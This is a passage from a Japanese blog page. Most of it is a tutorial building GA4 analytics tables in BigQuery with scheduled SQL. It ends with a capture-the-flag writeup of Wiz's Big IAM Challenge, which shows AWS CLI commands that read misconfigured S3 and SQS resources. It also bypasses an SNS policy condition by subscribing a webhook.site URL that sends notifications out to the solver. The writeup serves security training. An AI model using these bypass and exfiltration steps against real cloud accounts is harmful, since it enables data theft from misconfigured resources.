        WHEN regexp_contains(medium, r'^(display|banner|expandable|interstitial|cpm)$') 
            THEN 'paid_display'
        WHEN regexp_contains(medium, r'^(.*cp.*|ppc|paid.*)$') 
            THEN 'paid_other'
        WHEN regexp_contains(medium, r'^(.*(([^a-df-z]|^)shop|shopping).*)$') 
            THEN 'organic_shopping'
        WHEN regexp_contains(tsource, r'^.*(twitter|t\.co|facebook|instagram|linkedin|lnkd\.in|pinterest|tiktok).*') 
            or regexp_contains(medium, r'^(social|social_advertising|social-advertising|social_network|social-network|social network|social_media|social-media|social media|sm|social-unpaid|social_unpaid)$') 
            THEN 'organic_social'
        WHEN regexp_contains(medium, r'^(.*video.*)$') 
            THEN 'organic_video'
        WHEN regexp_contains(tsource, r'^(google|bing|yahoo|baidu|duckduckgo|yandex|ask)$') 
            or medium = 'organic'
            THEN 'organic_search'
        WHEN regexp_contains(tsource, r'^(email|mail|e-mail|e_mail|e mail|mail\.google\.com)$') 
            or regexp_contains(medium, r'^(email|mail|e-mail|e_mail|e mail)$') 
            THEN 'email'
        WHEN regexp_contains(medium, r'^(affiliate|affiliates)$') 
            THEN 'affiliate'
        WHEN medium = 'referral'
            THEN 'referral'
        WHEN medium = 'audio' 
            THEN 'audio'
        WHEN medium = 'sms'
            THEN 'sms'
        WHEN ends_with(medium, 'push')
            or regexp_contains(medium, r'.*(mobile|notification).*') 
            THEN 'mobile_push'
        ELSE '(other)'
    END
);

get_path_from_url はURLからページパスを抜き出す関数です。

CREATE OR REPLACE FUNCTION `change-your-common-project.common.get_path_from_url`(url STRING) RETURNS STRING LANGUAGE js AS R"""
var path = '/' + url.split('/').splice(3).join("/")
  return path.split('?')[0];
""";

get_query_from_url はURLからクエリパラメータを抜き出す関数です。 utm_... 等のパラメータは無視するようにしています。

CREATE OR REPLACE FUNCTION `change-your-common-project.common.get_query_from_url`(url STRING) RETURNS STRING LANGUAGE js AS R"""
parts = url.split('?');
  if (parts.length < 2) return '';
  var ignore_keys = {
    'utm_source': true,
    'utm_medium': true,
    'utm_campaign': true,
    'utm_content': true,
    'utm_term': true,
    'email': true,
    'hash': true,
    'gclid': true,
    'fbclid': true,
    'mc_cid': true,
    'mc_eid': true,
    'msclkid': true,  
  }
  var results = []
  var list = parts[1].split('&')
  for (i = 0; i < list.length; i++)  {
    var item = list[i]
    if (!ignore_keys[item.split('=')[0]]) {
      results.push(item)
    }
  }

  return results.join("&");
""";

スケジュールクエリの設定

上記のSQLのテスト実行とスケジュールクエリ設定を行います。 （BQ Data Transfer APIをEnableしてください）

左サイドバーから「スケジュールされたクエリ」を選択し、そのまま作成に進みます。 SQL入力フィールドで先ほどの 1-a のSQLを入力し、一度「実行」してみてエラーが発生しないか確かめます。

問題なく結果が出力されたら「スケジュール」を選択して設定を保存します。 以下は設定の例です。

  • 繰り返しの頻度: æ—¥
  • 時刻: 03:00 (UTC)
  • 「設定した時刻に開始」
  • 直近の日付の 12:00 (JST)
  • 「終了しない」
  • データセット: analytics
  • Table Id: ga4_raw
  • 宛先テーブルのパーティショニングフィールド: date_jst
  • 「テーブルに追加する」

保存後に、テスト実行してデータが新しいテーブルに保存されるか試します。
作成されたスケジュールクエリを選択し、「バックフィルのスケジュール構成」を選びます。
「1回限りのスケジュールされたクエリ」を選べばテスト実行できます。

実行して数分待つと完了していると思います。 成功していれば新しいテーブルが作成されているはずなので、データを確認してみてください。 また、SQL中でコメントアウトしてある重複排除の条件を追加すると再実行してもデータが重複しないのでアンコメントして再保存しておいてください。

以降の 2-b ~ 3-f のSQLでも同様にスケジュールクエリを設定してください。 実行時間だけは変える必要があり、 1-a 以降の時間（5分後の12:05とか）にしてください。 2-b ~ 2-e は 1-a以外に依存関係が無く別のテーブルなので全て同じ時間に設定しても問題ありません。

日次サマリーテーブルの作成 [2-b]

[1-a] の テーブルを使って日次サマリーデータを保存するテーブルを作ります。

/* config: 失敗していても取り込めるように4~1日前を期間指定しています */
CREATE TEMPORARY FUNCTION date_from() AS ( 4 );
CREATE TEMPORARY FUNCTION date_to() AS ( 1 );

/* tmp vars */
CREATE TEMPORARY FUNCTION cur_date() AS ( CURRENT_DATE("Asia/Tokyo") );


WITH 
/* [_dest] 初回はこのテーブルは存在しないためコメントアウトしていますが、スケジュールクエリでは重複を防ぐためにアンコメントして使います */
/*
_dest AS (
  SELECT date_jst FROM `analytics.ga4_stats`
  WHERE date_jst BETWEEN DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  GROUP BY date_jst
),
*/
raw AS (
SELECT 
  *,
  FROM `analytics.ga4_raw` -- [a] のテーブルを指定
  WHERE date_jst BETWEEN  DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  -- AND date_jst NOT IN (SELECT date_jst FROM _dest)  /* 重複防止条件 */
),
_stats1 AS (
SELECT 
  date_jst,
  COUNT(DISTINCT user_session_id) as sum_sessions,
  COUNT(DISTINCT user_pseudo_id) as sum_user,
  COUNT(DISTINCT CASE WHEN ga_session_number = 1 THEN user_pseudo_id END) as sum_user_new,
  COUNT(DISTINCT CASE WHEN is_pv = 1 THEN user_session_id END) as sum_pv_sessions,
  COUNT(DISTINCT CASE WHEN session_engaged = 1 THEN user_session_id END) as sum_engaged_sessions,
  COUNT(DISTINCT CASE WHEN is_cv = 1 THEN user_session_id END) as sum_cv_sessions,
  COUNT(DISTINCT CASE WHEN is_cv = 1 THEN user_pseudo_id END) as sum_cv_users,
FROM raw
GROUP BY date_jst 
),
stats AS (
SELECT
  date_jst,
  sum_sessions,
  sum_engaged_sessions,
  sum_sessions - sum_engaged_sessions as sum_bounced_sessions,
  sum_user,
  sum_user_new,
  sum_user - sum_user_new as sum_user_old,
  sum_cv_sessions,
  sum_cv_users,
  SAFE_DIVIDE(sum_engaged_sessions, sum_sessions) as avg_engagement_rate,
  SAFE_DIVIDE(sum_sessions - sum_engaged_sessions, sum_sessions) as avg_bounce_rate,
  SAFE_DIVIDE(sum_pv_sessions, sum_sessions) as avg_event_count_per_session,
  SAFE_DIVIDE(sum_user_new, sum_user) as rate_new_user,
  SAFE_DIVIDE(sum_cv_sessions, sum_sessions) as rate_cvr_per_session,
  SAFE_DIVIDE(sum_cv_users, sum_user) as rate_cvr_per_user,
  SAFE_DIVIDE(sum_sessions, sum_user) as avg_session_per_user,
FROM _stats1
),
_engage1 AS (
SELECT
  date_jst,
  user_session_id,
  SUM(CASE WHEN session_engaged = 1 THEN engagement_time_sec END) as session_engagement_time_sec,
FROM raw
GROUP BY date_jst, user_session_id
),
engage AS (
SELECT 
  t1.date_jst,
  SAFE_DIVIDE(SUM(session_engagement_time_sec), MAX(sum_engaged_sessions)) as avg_engagement_time_sec,
FROM _engage1 t1
JOIN stats t2 ON t1.date_jst = t2.date_jst
GROUP BY t1.date_jst
),
_sess1 AS (
SELECT
  date_jst,
  user_session_id,
  (MAX(event_timestamp) - MIN(event_timestamp)) / 1000000 as session_length_in_sec,
FROM raw
GROUP BY date_jst, user_session_id
), 
sess AS (
SELECT
  date_jst,
  SAFE_DIVIDE(SUM(session_length_in_sec), COUNT(DISTINCT user_session_id)) as avg_session_duration_sec,
FROM _sess1
GROUP BY date_jst
),
_views1 AS (
SELECT
  date_jst,
  user_session_id,
  SUM(CASE WHEN is_pv = 1 THEN 1 ELSE 0 END) as sum_pv_sessions,
FROM raw
GROUP BY date_jst, user_session_id
), 
viewscount AS (
SELECT
  date_jst,
  SUM(sum_pv_sessions) as sum_pv_sessions,
  SAFE_DIVIDE(SUM(sum_pv_sessions), COUNT(DISTINCT user_session_id)) as avg_pv_per_session,
FROM _views1
GROUP BY date_jst
) 


SELECT
  st.date_jst,
  st.sum_user,
  st.sum_user_new,
  st.sum_user_old,
  st.rate_new_user,
  st.sum_cv_sessions,
  st.sum_cv_users,
  st.rate_cvr_per_session,
  st.rate_cvr_per_user,
  st.sum_sessions,
  st.sum_engaged_sessions,
  st.sum_bounced_sessions,
  st.avg_engagement_rate,
  st.avg_bounce_rate,
  st.avg_event_count_per_session,
  st.avg_session_per_user,
  e.avg_engagement_time_sec,
  se.avg_session_duration_sec,
  v.sum_pv_sessions,
  v.avg_pv_per_session,
FROM stats st 
JOIN engage e ON e.date_jst = st.date_jst 
JOIN sess se ON se.date_jst = st.date_jst 
JOIN viewscount v ON v.date_jst = st.date_jst 
;

このSQLでは以下のようなデータが取得できます。
カラム名で察してください。

date_jst sum_user sum_user_new sum_user_old rate_new_user sum_cv_sessions sum_cv_users rate_cvr_per_session rate_cvr_per_user sum_sessions sum_engaged_sessions sum_bounced_sessions avg_engagement_rate avg_bounce_rate avg_event_count_per_session avg_session_per_user avg_engagement_time_sec avg_session_duration_sec sum_pv_sessions avg_pv_per_session
2024-12-01 1000 500 100 0.5025249169 5 5 0.0150195346 0.01790697674 1100 900 300 0.5048315983 0.2025168402 0.9557072872 1.105049834 100.1146624 150.9513281 5000 5.077770974

日別ページパステーブルの作成 [2-c]

[1-a] の テーブルを使って日別ページパスデータを保存するテーブルを作ります。

/* config: 失敗していても取り込めるように4~1日前を期間指定しています */
CREATE TEMPORARY FUNCTION date_from() AS ( 4 );
CREATE TEMPORARY FUNCTION date_to() AS ( 1 );

/* tmp vars */
CREATE TEMPORARY FUNCTION cur_date() AS ( CURRENT_DATE("Asia/Tokyo") );

WITH 
/* [_dest] 初回はこのテーブルは存在しないためコメントアウトしていますが、スケジュールクエリでは重複を防ぐためにアンコメントして使います */
/*
_dest AS (
  SELECT date_jst FROM `analytics.ga4_page`
  WHERE date_jst BETWEEN DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  GROUP BY date_jst
), 
*/
raw AS (
SELECT 
  *,
  FROM `analytics.ga4_raw`
  WHERE date_jst BETWEEN  DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  -- AND date_jst NOT IN (SELECT date_jst FROM _dest)  /* 重複防止条件 */
),
page1 AS (
SELECT 
  date_jst,
  page_path,
  COUNT(DISTINCT user_session_id) as pv_session,
  COUNT(DISTINCT user_pseudo_id) as pv_user,
  COUNT(DISTINCT CASE WHEN is_landing = 1 THEN user_session_id END) as pv_first_page_session,
  COUNT(DISTINCT CASE WHEN is_landing = 1 THEN user_pseudo_id END) as pv_first_page_user,
FROM raw
GROUP BY date_jst, page_path
),
_page2 AS (
SELECT 
  date_jst,
  page_path,
  CASE WHEN is_landing = 1 THEN page_path ELSE null END as first_page,
  CASE WHEN is_landing = 1 THEN LEAD(page_path, 1) OVER (partition by user_session_id ORDER BY datetime_jst ASC) ELSE null END as second_page,
  CASE WHEN page_path = first_value(page_path) OVER (partition by user_session_id ORDER BY datetime_jst DESC) THEN page_path ELSE null END as last_page,
FROM raw
),
page2 AS (
SELECT 
  date_jst,
  page_path,
  SUM(CASE WHEN page_path = second_page THEN 1 ELSE 0 END) as pv_second_page,
  SUM(CASE WHEN page_path = last_page THEN 1 ELSE 0 END) as pv_last_page,
FROM _page2
GROUP BY date_jst, page_path
)

SELECT
  p1.date_jst,
  p1.page_path,
  pv_session,
  pv_user,
  pv_first_page_session,
  pv_first_page_user,
  pv_second_page,
  pv_last_page,
FROM page1 p1
JOIN page2 p2 ON p1.date_jst = p2.date_jst AND p1.page_path = p2.page_path
;

このSQLでは以下のようなデータが取得できます。

date_jst page_path pv_session pv_user pv_first_page_session pv_first_page_user pv_second_page pv_last_page
2024-12-01 /terms_of_use 6 4 1 1 1 1

日別ユーザーイベントテーブルの作成 [2-d]

[1-a] の テーブルを使って日別ユーザーイベントデータを保存するテーブルを作ります。

/* config: 失敗していても取り込めるように4~1日前を期間指定しています */
CREATE TEMPORARY FUNCTION date_from() AS ( 4 );
CREATE TEMPORARY FUNCTION date_to() AS ( 1 );

/* tmp vars */
CREATE TEMPORARY FUNCTION cur_date() AS ( CURRENT_DATE("Asia/Tokyo") );

WITH 
/* [_dest] 初回はこのテーブルは存在しないためコメントアウトしていますが、スケジュールクエリでは重複を防ぐためにアンコメントして使います */
/*
_dest AS (
  SELECT date_jst FROM `analytics.ga4_etl`
  WHERE date_jst BETWEEN DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  GROUP BY date_jst
),
*/
raw AS (
SELECT 
  *,
  FROM `analytics.ga4_raw`
  WHERE date_jst BETWEEN  DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  -- AND date_jst NOT IN (SELECT date_jst FROM _dest)  /* 重複防止条件 */
),
_etl1 AS (
SELECT 
  date_jst,
  user_session_id,
  MIN(datetime_jst) as min_datetime_jst,
  MAX(datetime_jst) as max_datetime_jst,
  MAX(user_pseudo_id) as user_pseudo_id,
  MIN(ga_session_number) as ga_session_number, 
  AVG(engagement_time_sec) as engagement_time_sec,
  MAX(is_engaged) as is_engaged,
  MAX(is_cv) as is_cv,
  SUM(is_pv) as count_pv,
  MAX(device.language) as device_language,
  MAX(device.category) as device_category,
  MAX(device.operating_system) as device_os,
  MAX(device.operating_system_version) as device_os_version,
  MAX(geo.country) as geo_country,
  MAX(geo.region) as geo_region,
  MAX(traffic_source.source) as user_traffic_source,
  MAX(traffic_source.medium) as user_traffic_medium,
  MAX(traffic_source.name) as user_traffic_name,
  MAX(collected_traffic_source.manual_source) as session_traffic_source,
  MAX(collected_traffic_source.manual_medium) as session_traffic_medium,
  MAX(collected_traffic_source.manual_campaign_name) as session_traffic_name,
  MAX(channel_group) as channel_group,
FROM raw
GROUP BY date_jst, user_session_id 
)

SELECT
  *
FROM _etl1
;

このSQLでは以下のようなデータが取得できます。

date_jst user_session_id min_datetime_jst max_datetime_jst user_pseudo_id ga_session_number engagement_time_sec is_engaged is_cv count_pv device_language device_category device_os device_os_version geo_country geo_region user_traffic_source user_traffic_medium user_traffic_name session_traffic_source session_traffic_medium session_traffic_name channel_group
2024-12-01 100000000 2024-12-01 0:04:41 2024-12-01 0:05:10 100000000 1 3.181 0 0 1 en-us desktop Linux Linux 6.9.0 Japan Tokyo facebook.com referral (referral) facebook.com referral (referral) organic_social

日別ユーザー別ファネル通過率テーブルの作成 [2-e]

/* config: 失敗していても取り込めるように4~1日前を期間指定しています */
CREATE TEMPORARY FUNCTION date_from() AS ( 4 );
CREATE TEMPORARY FUNCTION date_to() AS ( 1 );

/* tmp vars */
CREATE TEMPORARY FUNCTION cur_date() AS ( CURRENT_DATE("Asia/Tokyo") );

WITH 
/* [_dest] 初回はこのテーブルは存在しないためコメントアウトしていますが、スケジュールクエリでは重複を防ぐためにアンコメントして使います */
/*
_dest AS (
  SELECT date_jst FROM `analytics.ga4_funnel_cv`
  WHERE date_jst BETWEEN DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  GROUP BY date_jst
),
*/
raw AS (
SELECT 
  *,
  FROM `analytics.ga4_raw`
  WHERE date_jst BETWEEN  DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  -- AND date_jst NOT IN (SELECT date_jst FROM _dest)  /* 重複防止条件 */
),
_data AS (
SELECT 
  date_jst,
  user_pseudo_id,
  MIN(datetime_jst) as min_datetime_jst,
  MAX(datetime_jst) as max_datetime_jst,
  MIN(ga_session_number) as ga_session_number, 
  SUM(is_pv) as count_pv,
  MAX(device.language) as device_language,
  MAX(device.category) as device_category,
  MAX(device.operating_system) as device_os,
  MAX(device.operating_system_version) as device_os_version,
  MAX(geo.country) as geo_country,
  MAX(geo.region) as geo_region,
  MAX(traffic_source.source) as user_traffic_source,
  MAX(traffic_source.medium) as user_traffic_medium,
  MAX(traffic_source.name) as user_traffic_name,
  MAX(collected_traffic_source.manual_source) as session_traffic_source,
  MAX(collected_traffic_source.manual_medium) as session_traffic_medium,
  MAX(collected_traffic_source.manual_campaign_name) as session_traffic_name,
  MAX(channel_group) as channel_group,
  COUNT(DISTINCT CASE WHEN page_path = '/cart' AND page_query LIKE '%page=1%' THEN 1 ELSE NULL END) as is_cart1,
  COUNT(DISTINCT CASE WHEN page_path = '/cart' AND page_query LIKE '%page=2%' THEN 1 ELSE NULL END) as is_cart2,
  COUNT(DISTINCT CASE WHEN page_path = '/cart' AND page_query LIKE '%page=3%' THEN 1 ELSE NULL END) as is_cart3,
  COUNT(DISTINCT CASE WHEN page_path = '/cart' AND page_query LIKE '%page=4%' THEN 1 ELSE NULL END) as is_cart4,
  COUNT(DISTINCT CASE WHEN page_path = '/cart/thanks' THEN 1 ELSE NULL END) as is_thanks,
FROM raw
GROUP BY date_jst, user_pseudo_id 
)

SELECT
  *
FROM _data
;

このSQLでは以下のようなデータが取得できます。

date_jst user_pseudo_id min_datetime_jst max_datetime_jst ga_session_number count_pv device_language device_category device_os device_os_version geo_country geo_region user_traffic_source user_traffic_medium user_traffic_name session_traffic_source session_traffic_medium session_traffic_name channel_group is_cart1 is_cart2 is_cart3 is_cart4 is_thanks
2024-12-14 100000000 2024-12-01 17:24:39 2024-12-01 17:24:43 1 1 ja mobile iOS iOS 17.6.1 Japan Tokyo mail.google.com referral (referral) mail.google.com referral (referral) email 1 0 0 0 0

ファネル通過率の集計テーブル作成 [3-f]

最後に 2-e を使ってファネル通過率の集計テーブルを作ります。 ファネル通過率やCVRの日別平均、3日間移動平均、7日間移動平均を保存します。

/* config: 過去8日分の7日間移動平均を取得 */
CREATE TEMPORARY FUNCTION date_from() AS ( 15 );
CREATE TEMPORARY FUNCTION date_to() AS ( 1 );

/* tmp vars */
CREATE TEMPORARY FUNCTION cur_date() AS ( CURRENT_DATE("Asia/Tokyo") );

WITH 
/* [_dest] 初回はこのテーブルは存在しないためコメントアウトしていますが、スケジュールクエリでは重複を防ぐためにアンコメントして使います */
/*
_dest AS (
  SELECT date_jst FROM `analytics.ga4_funnel_avg`
  WHERE date_jst BETWEEN DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  GROUP BY date_jst
),
*/
avg_data AS (
  SELECT
    date_jst,
    COUNT(user_pseudo_id) as user_count,
    SUM(is_thanks) as cv_count,
    SUM(is_thanks) / COUNT(user_pseudo_id) as cvr,
    AVG(is_cart1) as is_cart1,
    AVG(is_cart2) as is_cart2,
    AVG(is_cart3) as is_cart3,
    AVG(is_cart4) as is_cart4,
    AVG(is_thanks) as is_thanks,
  FROM
    `analytics.ga4_funnel_cv`
  WHERE date_jst BETWEEN  DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  GROUP BY date_jst
),
cvr_data AS (
  SELECT
    date_jst,
    AVG(is_cart1) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 6 PRECEDING AND CURRENT ROW) as is_cart1_avg7,
    AVG(is_cart2) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 6 PRECEDING AND CURRENT ROW) as is_cart2_avg7,
    AVG(is_cart3) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 6 PRECEDING AND CURRENT ROW) as is_cart3_avg7,
    AVG(is_cart4) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 6 PRECEDING AND CURRENT ROW) as is_cart4_avg7,
    AVG(is_thanks) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 6 PRECEDING AND CURRENT ROW) as is_thanks_avg7,
    AVG(cvr) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 6 PRECEDING AND CURRENT ROW) as cvr_avg7,
    AVG(is_cart1) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 2 PRECEDING AND CURRENT ROW) as is_cart1_avg3,
    AVG(is_cart2) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 2 PRECEDING AND CURRENT ROW) as is_cart2_avg3,
    AVG(is_cart3) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 2 PRECEDING AND CURRENT ROW) as is_cart3_avg3,
    AVG(is_cart4) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 2 PRECEDING AND CURRENT ROW) as is_cart4_avg3,
    AVG(is_thanks) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 2 PRECEDING AND CURRENT ROW) as is_thanks_avg3,
    AVG(cvr) OVER(ORDER BY UNIX_DATE(date_jst) RANGE BETWEEN 2 PRECEDING AND CURRENT ROW) as cvr_avg3,
  FROM
    avg_data
)


SELECT
  avg_data.date_jst,
  user_count,
  cv_count,
  cvr,
  is_cart1,
  is_cart2,
  is_cart3,
  is_cart4,
  is_thanks,
  is_cart1_avg7,
  is_cart2_avg7,
  is_cart3_avg7,
  is_cart4_avg7,
  is_thanks_avg7,
  cvr_avg7,
  is_cart1_avg3,
  is_cart2_avg3,
  is_cart3_avg3,
  is_cart4_avg3,
  is_thanks_avg3,
  cvr_avg3,
FROM
  avg_data
JOIN cvr_data ON avg_data.date_jst = cvr_data.date_jst 
-- WHERE avg_data.date_jst NOT IN (SELECT date_jst FROM _dest)
;

このSQLでは以下のようなデータが取得できます。

date_jst user_count cv_count cvr is_cart1 is_cart2 is_cart3 is_cart4 is_thanks is_cart1_avg7 is_cart2_avg7 is_cart3_avg7 is_cart4_avg7 is_thanks_avg7 cvr_avg7 is_cart1_avg3 is_cart2_avg3 is_cart3_avg3 is_cart4_avg3 is_thanks_avg3 cvr_avg3
2024-12-01 1000 20 0.0162601626 0.112195122 0.06097560976 0.04471544715 0.02195121951 0.0162601626 0.1180583458 0.07179818466 0.04718445738 0.02393212923 0.01794440009 0.01794440009 0.1063511487 0.06086483479 0.04442387541 0.02290562374 0.01832657378 0.01832657378

これで準備は整いました。

Looker Studio でグラフ作成

あとはLooker Studioで可視化するだけです。 説明上、イチから作成しますが他の方々が公開しているGA用のテンプレをベースに作ったほうが楽だと思います。 他のテンプレを使う場合はコピーして、データソースを直GAからBQに変更して、ポチポチとグラフと指標を設定していくイメージです。

lookerstudio.google.com

一応1グラフ分だけ軽く説明します。

例としてファネルの7日間移動平均の推移を見るためのグラフを作成していきます。 まずはLooker Studioにアクセスし、「空のレポート」を作成します。

データ接続はBigQueryを選択し、 テーブルは先程作ったBQのテーブルのいずれかを選択してます。（後で他のテーブルも追加できます） date_jst は期間ディメンションとして使うようにします。

そして「グラフ」の部分を選択して表形式から期間グラフに変更します。

その後、指標を適当に選択するとそれっぽいグラフが出来上がります。

あとは見やすく整形したりしていくと最終的にはこんな感じになります。

ステップ1からの到達率は SUM(is_cart3) / SUM(is_cart1)、
次ステップ通過率は SUM(is_cart3) / SUM(is_cart2) みたいな感じで計算式を設定しています。

数字の傾向が変わっている部分で過去にリリースした履歴を見たりして、その影響を調べたりできるようになりました。
これでGAで見ていたデータをBQ+Lookerに移すことができ、エンジニアもマーケもビジネスもオペレーションも同じダッシュボードを参照して議論しやすくなるかと思います。
なおGAの完全な代替ではないので、アドホックな分析は普通に探索レポート使った方が早い場合もあるので、 GAもSQLも両方使えると良いかと思います。

gitStream でPull Request作成フローを正したい

GitHub Actions

間違えて違う記事の内容で上書きしまくっていて、データがロストして履歴からも復元できなくなってしまいました。
「やっちまった...；；」というやつです。申し訳ないです

この記事は羅針盤 アドベントカレンダー 2024の12日目の記事です。
qiita.com

11日目の記事は Writeup - The Big IAM Challenge : WizによるAWS IAMのCTF Challenge - 羅針盤 技術航海日誌 でした。

docs.gitstream.cm

Writeup - The Big IAM Challenge

Security

この記事は羅針盤 アドベントカレンダー 2024の11日目の記事です。
qiita.com

10日目の記事は Chrome Extension: Sveltekitで作ってみる (Compass SEO Checker) - 羅針盤 技術航海日誌 でした。

今回は縁あってゲストの方に寄稿していただきました。
GDPRとCCPAに巻き込まれて匿名になってしまったフリースタイル覆面女子レスラーの方からのありがたい寄稿になります。

はじめに

クラウドセキュリティの急成長企業 Wiz (今年はGoogleの買収提案を断ったことでも話題になりました) がAWS IAMのセキュリティに特化したCTF Challengeを公開しています。

www.wiz.io

IAMのセキュリティはクラウドセキュリティの要であり、The Big IAM Challengeは難しい環境構築などもなくAWSのIAMとそのセキュリティを実践的に学べる貴重なリソースです。また、難易度もほどよいため、インフラ・SREチーム向けのセキュリティ社内研修等にも有用かと思います。

この記事はThe Big IAM ChallengeのWriteup (解き方の解説) になります。

※ 完全なネタバレになってしまうので、まずはこの記事を読まず、自分で解いてみることを強くお勧めします！

Challenge 1: Buckets of Fun

We all know that public buckets are risky. But can you find the flag?

という指示だけがあり、サイト上のコンソールには「Start the challenge here, you have the aws cli configured. Try executing: aws sts get-caller-identity」と記載されています。

指示通りにまずはこのコマンドを打ってみると、awsコマンドに認証情報がロードされていることがわかります。

> aws sts get-caller-identity
{
    "UserId": "AROAZSFITKRSYE6ELQP2Q:iam_shell",
    "Account": "657483584613",
    "Arn": "arn:aws:sts::657483584613:assumed-role/shell_basic_iam/iam_shell"
}

以後同様に、Challengeごとに払い出されるIAMを用いてFlagを取れないかあれこれ試すことになります。また、「View IAM Policy」のボタンから、この権限が付与されていることが確認できます。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

このバケットを覗いてみると、flagのテキストファイルが見つかります。

> aws s3 ls thebigiamchallenge-storage-9979f4b
                           PRE files/
> aws s3 ls thebigiamchallenge-storage-9979f4b/files/
2023-06-05 19:13:53         37 flag1.txt
2023-06-08 19:18:24      81889 logo.png

単純にダウンロードしようとするとRead-only file systemのため失敗します。

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt ./flag1.txt
download failed: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ./flag1.txt [Errno 30] Read-only file system: '/var/task/flag1.txt.CbCdcf2B'
Completed 37 Bytes/37 Bytes (506 Bytes/s) with 1 file(s) remaining

aws s3 cpコマンドでは - を指定して、ファイルの内容をそのまま標準出力で確認します。

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt -
{wiz:flag-is-redacted-do-it-by-yourself}

このChallengeは特にセキュリティの観点はなく、awsコマンドの基本的な使い方とChallengesのノリを掴むことに焦点が当たっています。

Challenge 2: Google Analytics

SQSの権限が付与されているようです。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

以下のコマンドでSQSのキューを受信してみると、Bodyにflagが記載されたmessageが確認できます。

aws sqs receive-message --queue-url \
"https://us-east-1.queue.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2"

ここもまだウォームアップです。

Challenge 3: Enable Push Notifications

ここから歯応えが出てきます。

IAM Policyは通知の送信先が@tbic.wiz.ioで終わる場合のみ、SNS:Subscribeが実行可能、という設定になっています。

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

以下のように@tbic.wiz.io のメールアドレスを持つ人のみを通知先とする想定のはずです。(別ドメインのメールアドレスを指定すると失敗します。)

> aws sns subscribe \
--topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
--protocol email --notification-endpoint [email protected]
{
    "SubscriptionArn": "pending confirmation"
}

この設定をどのように回避してsnsをsubscribeするか、という問題になります。

snsのsubscribeはemailの他にもsmsやhttp/httpsといったプロトコルをサポートしているため、email以外のプロトコルでStringLikeの制限を回避できないでしょうか？

dev.classmethod.jp

emailとは異なり、http/httpsであれば末尾を指定の文字列にすることは比較的容易だと考え、試してみます。 https://webhook.site/ などを用いるか、あるいは自分で簡単なserverを立ててみてください。 (参考: https://gist.github.com/mdonkers/63e115cc0c79b4f6b8b3a6b797e485c7 )

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint \
https://webhook.site/[email protected]

サーバーに次のようなメッセージが受信されるので、SubscribeURLを踏みます。

{
  "Type": "SubscriptionConfirmation",
  "MessageId": "redacted",
  "Token": "redacted",
  "TopicArn": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
  "Message": "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.\nTo confirm the subscription, visit the SubscribeURL included in this message.",
  "SubscribeURL": "redacted",
  "Timestamp": "2024-11-29T12:52:03.458Z",
  "SignatureVersion": "1",
  "Signature": "redacted",
  "SigningCertURL": "redacted"
}

その後、サーバーに以下のようなflagを含む通知がきます。

{
  "Type": "Notification",
  "MessageId": "redacted",
  "TopicArn": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
  "Message": "{wiz:flag-is-redacted-do-it-by-yourself}",
  "Timestamp": "2024-11-29T12:53:08.750Z",
  "SignatureVersion": "1",
  "Signature": "redacted",
